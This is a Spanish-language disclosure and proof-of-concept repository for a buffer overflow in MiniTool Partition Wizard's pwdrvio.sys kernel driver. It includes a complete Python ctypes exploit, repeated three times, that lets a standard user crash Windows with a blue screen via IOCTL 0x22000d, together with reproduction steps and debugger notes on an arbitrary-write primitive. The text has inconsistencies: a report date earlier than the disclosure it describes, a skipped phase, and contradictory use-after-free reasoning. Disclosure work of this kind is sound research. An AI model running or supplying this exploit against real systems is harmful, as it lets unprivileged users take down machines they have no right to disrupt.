CVE-2026-36980-Kernel-BSOD-DoS-PoC

Fecha del proyecto: feb 2026 / Se descubrió una vulnerabilidad de desbordamiento de búfer en el manejador de IOCTL del controlador de kernel pwdrvio.sys. La vulnerabilidad permite que un atacante local sin privilegios corrompa la memoria del pool del kernel, provocando un bloqueo inmediato del sistema (BSOD) y una denegación de servicio.

• 2026-02-09 Proveedor notificado
• 2026-03-05 Proveedor confirmó
• 2026-03-05 CVE solicitado a MITRE
• 2026-05-10 Divulgación pública después del período de divulgación coordinada de 90 días

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Denegación de servicio (DoS) Gravedad: MEDIA Puntuación CVSS 3.1: 5.5 (DoS)
Cadena de vector CVSS:

• DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Desbordamiento de búfer — Denegación de servicio (CVSS 5.5 - MEDIA)

• Provoca la Pantalla Azul de la Muerte (BSOD)
• Explotación independiente (no requiere depurador)
• Causado por un desbordamiento de búfer mediante IOCTL 0x22000d
• Caída consistente en todas las configuraciones probadas

Requisitos previos del ataque:

• Acceso local al sistema de destino
• Cuenta de usuario estándar (no administrador)
• MiniTool Partition Wizard instalado o desinstalado (controlador pwdrvio.sys cargado)

Resultados de la explotación: DoS - Caída inmediata del sistema, indisponibilidad del servicio

Cronología del descubrimiento de la vulnerabilidad

Fase 1: Fuzzing inicial y descubrimiento del BSOD

Fecha: 5 de febrero de 2026
Actividad: Fuzzing sistemático del controlador de kernel mediante un fuzzer de Python personalizado

Proceso de descubrimiento:

1. Selección del objetivo:

   • Se enumeraron los controladores de kernel instalados en la VM de Windows 10
   • Se identificó pwdrvio.sys como el controlador más antiguo (marca de tiempo: 16 de junio de 2009)
   • Archivo del controlador: C:\Windows\System32\drivers\pwdrvio.sys
   • Objeto de dispositivo: \\.\PartitionWizardDiskAccesser\0

2. Fuzzing inicial:

   • Se desarrolló un fuzzer en Python usando ctypes para interactuar con el controlador
   • Se enviaron datos aleatorios mediante WriteFile/DeviceIoControl al dispositivo del controlador
   • Resultado: Múltiples Pantallas Azules de la Muerte (BSOD)

3. Activación del Verificador:

   • Se habilitó el Verificador de controladores para mejorar la detección de caídas
   root@kitploit:~

   verifier /standard /driver pwdrvio.sys
   

   Configuración del Verificador:

   root@kitploit:~

   Verifier Flags: 0x001209bb
   Standard Flags Enabled:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

Fase 2: Configuración de depuración de kernel con WinDbg

Fecha: 5-6 de febrero de 2026
Actividad: Se estableció un entorno de depuración de kernel para el análisis de causa raíz

Procedimiento de configuración:

1. Configuración del puerto serie de VMware:

   root@kitploit:~

   VMware Workstation Pro → VM Settings
   ├─ Add Hardware → Serial Port
   ├─ Connection: "Use named pipe"
   ├─ Path: \\.\pipe\com_1
   ├─ End: "This is the server"
   └─ I/O Mode: "Yield CPU on poll" ✓
   

2. Configuración del SO invitado:

   root@kitploit:~

   REM Administrator Command Prompt
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. Conexión del WinDbg anfitrión:

   root@kitploit:~

   WinDbg → File → Attach to Kernel
   ├─ Port: \\.\pipe\com_1
   ├─ Baud Rate: 115200
   ├─ Pipe: ✓
   └─ Reconnect: ✓
   
   Result: "Kernel Debugger connection established."
   

Fase 3: Análisis de causa raíz: descubrimiento de escritura arbitraria

Fecha: 6 de febrero de 2026
Actividad: Se identificó una primitiva de escritura arbitraria en el kernel

Pasos del análisis:

1. Análisis del módulo:

   root@kitploit:~

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch Routines:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. Descubrimiento de la instrucción vulnerable:

   Establecer un punto de interrupción en el controlador de escritura:

   root@kitploit:~

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   Hallazgo crítico: ¡Primitiva de escritura arbitraria identificada!

   • La instrucción escribe el puntero del kernel (RAX) en la dirección [R11-0x10]
   • R11 se carga desde el marco de pila: mov r11, qword ptr [rbp+0xB8h]

Fase 4: Análisis de UAF a escritura arbitraria

Fecha: 6-7 de febrero de 2026
Actividad: Se rastreó la vulnerabilidad desde User-After-Free hasta una condición de write-what-where

Cadena de corrupción de memoria:

1. Asignación de IRP:

   root@kitploit:~

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. Relación de búferes:

   root@kitploit:~

   0: kd> r rsi
   rsi=ffffe60f828df900  ← User buffer location
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
   

   Análisis: El búfer de usuario NO es directamente accesible desde el marco RBP

   • RBP apunta a la estructura IRP en el pool del kernel
   • El búfer de usuario está en una región de memoria diferente
   • El desplazamiento RBP+0xB8 no apunta al búfer controlado por el usuario

3. Condición de Use-After-Free:

   El controlador mantiene punteros colgantes en la estructura IRP:

   root@kitploit:~

   // Ghidra decompilation (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
   
   // No validation!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Write to [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
   

Fase 6: Identificación de la denegación de servicio

Fecha: 8 de febrero de 2026
Actividad: Se descubrió una vulnerabilidad de DoS independiente

Descubrimiento:

1. Fuzzing de IOCTL:

   • Se probaron varios códigos IOCTL con búferes malformados
   • Se identificó el IOCTL 0x22000d como vulnerable

2. Mecanismo de caída:

   root@kitploit:~

   # Vulnerable parameters
   TARGET_IOCTL = 0x22000d
   
   input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
   real_output_buffer = ctypes.create_string_buffer(4)
   fake_output_length = 8192  # Driver trusts this value!
   
   DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                   real_output_buffer, fake_output_length, ...)
   

3. Comportamiento del controlador:

   • El controlador confía en la longitud del búfer de salida proporcionada por el usuario
   • Intenta escribir 8192 bytes en un búfer de 4 bytes
   • Desbordamiento de búfer → Corrupción del pool → BSOD

Salida del Verificador:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

Vulnerabilidad n.° 2: Denegación de servicio (DoS)

Clasificación CWE

• CWE-120: Copia de búfer sin verificar el tamaño de la entrada
• CWE-119: Restricción inadecuada de operaciones dentro del búfer de memoria
• CWE-248: Excepción no capturada

Detalles de la vulnerabilidad

Ubicación: manejador de IOCTL de pwdrvio.sys
IOCTL vulnerable: 0x22000d

Mecanismo de activación:

import ctypes
from ctypes import wintypes

DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d

kernel32 = ctypes.windll.kernel32

# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)

# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)  # Only 4 bytes!
fake_output_length = 8192  # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)

# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL, 
                         input_buf, 1024,
                         real_output_buffer, fake_output_length,  # ← Overflow!
                         ctypes.byref(bytes_returned), None)

Comportamiento de la caída:

Con el Verificador de controladores habilitado:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted

Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)

Process triggering crash: python.exe (standard user)

Sin el Verificador de controladores:

SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000

Result: Blue Screen of Death

Código completo y explotación

Código:

import ctypes
from ctypes import wintypes

# --- Settings ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[!] MiniTool DoS...")
    
    # 1. Connect Driver
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Couldnt Connect.")
        return

    # 2. Preperation
    # IOCTL from Fuzzer
    TARGET_IOCTL = 0x22000d 
    
    # Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning)
    in_size = 1024
    input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
    
    # Output Trap: Standard 4 byte, 8192 byte in Driver
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192 
    bytes_returned = wintypes.DWORD(0)

    print("[+] Wait for BSoD...")

    # 3. Loop (Pool Corruption)
    while True:
        kernel32.DeviceIoControl(
            handle, 
            TARGET_IOCTL, 
            input_buf, 
            in_size, 
            real_output_buffer, 
            fake_output_length, # <--- Vulnerable Point: Driver BufferOverflow
            ctypes.byref(bytes_returned), 
            None
        )

if __name__ == "__main__":
    trigger_bsod()

Explotación:

PS C:\Users\standarduser\directory> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py

Prueba de concepto y pasos de reproducción

Requisitos previos

Entorno de prueba:

• Sistema operativo: Windows 10 Home Build 19045.6466
• Arquitectura: x64
• Versión de MiniTool: Partition Wizard 13.5
• Controlador: pwdrvio.sys (fechado el 16 de junio de 2009)
• Cuenta de usuario: Usuario estándar (no administrador)

Herramientas requeridas:

• Para LPE: WinDbg (Depurador de Windows), VMware Workstation
• Para DoS: Python 3.x con ctypes

Reproducción n.° 1: Denegación de servicio (independiente)

Paso 1: Verificar la instalación del controlador

C:\> sc query pwdrvio

SERVICE_NAME: pwdrvio
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

Paso 2: Habilitar el Verificador de controladores (opcional pero recomendado)

REM Administrator Command Prompt
C:\> verifier /standard /driver pwdrvio.sys

REM Verify configuration
C:\> verifier /query

Verifier Flags: 0x001209bb
  Standard Flags:
    [X] 0x00000001 Special pool
    [X] 0x00000002 Force IRQL checking
    [X] 0x00000008 Pool tracking
    [X] 0x00000010 I/O verification
    [X] 0x00000020 Deadlock detection
    [X] 0x00000080 DMA checking
    [X] 0x00000100 Security checks
    [X] 0x00000800 Miscellaneous checks
    [X] 0x00020000 DDI compliance checking

  Driver Verification List:
    MODULE: pwdrvio.sys (load: 1 / unload: 0)

REM Reboot for verifier to take effect
C:\> shutdown /r /t 0

Paso 3: Crear el script de explotación DoS

Guárdelo como dos_exploit.py:

import ctypes
from ctypes import wintypes

# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, 
                                     wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[*] MiniTool pwdrvio.sys DoS Exploit")
    print("[*] Triggering Blue Screen of Death...")
    
    # Open device
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Failed to open driver")
        print("[-] Ensure MiniTool Partition Wizard is installed")
        return
    
    print("[+] Driver opened successfully")
    
    # Vulnerable IOCTL code
    TARGET_IOCTL = 0x22000d
    
    # Input buffer: 1024 bytes of 0xFF
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    
    # Output buffer: Only 4 bytes (but claim 8192!)
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Driver trusts this value → Overflow!
    bytes_returned = wintypes.DWORD(0)
    
    print("[!] Sending malicious IOCTL...")
    print("[!] System will crash in 3...2...1...")
    
    # Trigger buffer overflow → BSOD
    kernel32.DeviceIoControl(
        handle, 
        TARGET_IOCTL, 
        input_buf, 
        1024, 
        real_output_buffer, 
        fake_output_length,  # ← Vulnerability trigger
        ctypes.byref(bytes_returned), 
        None
    )
    
    # This line will never execute
    print("[*] If you see this, the exploit failed")

if __name__ == "__main__":
    trigger_bsod()

Paso 4: Ejecutar la explotación (usuario estándar)

C:\> whoami
desktop-lfkkhu2\standard_user

C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Triggering Blue Screen of Death...
[+] Driver opened successfully
[!] Sending malicious IOCTL...
[!] System will crash in 3...2...1...

[System immediately crashes with BSOD]

Resultado esperado:

Pantalla azul con código de detención:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)

o

SYSTEM_SERVICE_EXCEPTION (3b)

Verificación: La caída del sistema confirma la vulnerabilidad de DoS

Software de MiniTool:

Product:               MiniTool Partition Wizard
Version:               13.5
Installation Path:     C:\Program Files\MiniTool Partition Wizard
Driver Path:           C:\Windows\System32\drivers\pwdrvio.sys
Driver Date:           June 16, 2009 (0x4A36F8D1)
Driver Size:           32,256 bytes

Herramientas de prueba:

WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

Versiones afectadas

Confirmadas como vulnerables

Producto principal:

• MiniTool Partition Wizard 13.5
• Todas las versiones anteriores que usan pwdrvio.sys

Detalles del controlador:

File Name:          pwdrvio.sys
File Version:       [Not available]
File Size:          32,256 bytes (31.5 KB)
Time Stamp:         0x4A36F8D1 (June 16, 2009, 04:43:45 UTC)
Digital Signature:  [Signed by vendor]
Device Name:        \\.\PartitionWizardDiskAccesser\0
Service Name:       pwdrvio
Load Order:         Boot Start (SERVICE_BOOT_START)

Potencialmente afectadas

Otros productos de MiniTool que pueden usar el mismo controlador:

• MiniTool Power Data Recovery
• MiniTool Partition Wizard Bootable Edition
• MiniTool ShadowMaker

Nota: Cada producto debe probarse individualmente para confirmarlo.

Compatibilidad con sistemas operativos

Probado y confirmado como vulnerable:

• Windows 10 Home Build 19045.6466 (x64)

Probablemente vulnerable (no probado):

• Windows 7 (x64)
• Windows 8 / 8.1 (x64)
• Windows 10 (todas las compilaciones, x64)
• Windows 11 (x64)
• Windows Server 2008 R2 y posteriores

Motivo: El controlador es compatible con todas las versiones modernas de Windows y no contiene comprobaciones específicas de versión.

Aviso legal

Este repositorio se proporciona estrictamente con fines educativos, de investigación de seguridad defensiva y de reproducción de vulnerabilidades en entornos de laboratorio controlados. La información y el código de prueba de concepto están destinados a ayudar a defensores, investigadores y proveedores a comprender y remediar la vulnerabilidad reportada. El uso no autorizado o malintencionado de este código contra sistemas sin permiso explícito puede violar las leyes y regulaciones aplicables. El autor no promueve ni tolera actividades ilegales y no asume ninguna responsabilidad por el mal uso o los daños causados por este material.

Este informe de divulgación de vulnerabilidad se proporciona para:

1. Investigación y educación en seguridad
2. Notificación al proveedor y desarrollo de parches
3. Protección de los usuarios finales
4. Fines académicos y de seguridad defensiva

Usos prohibidos:

• Acceso no autorizado a sistemas informáticos
• Explotación maliciosa
• Cualquier actividad ilegal

El investigador realizó todas las pruebas en sistemas de su propiedad en entornos controlados. No se realizó ningún acceso no autorizado a sistemas de terceros.

Versión del informe: 1.0
Última actualización: 9 de febrero de 2026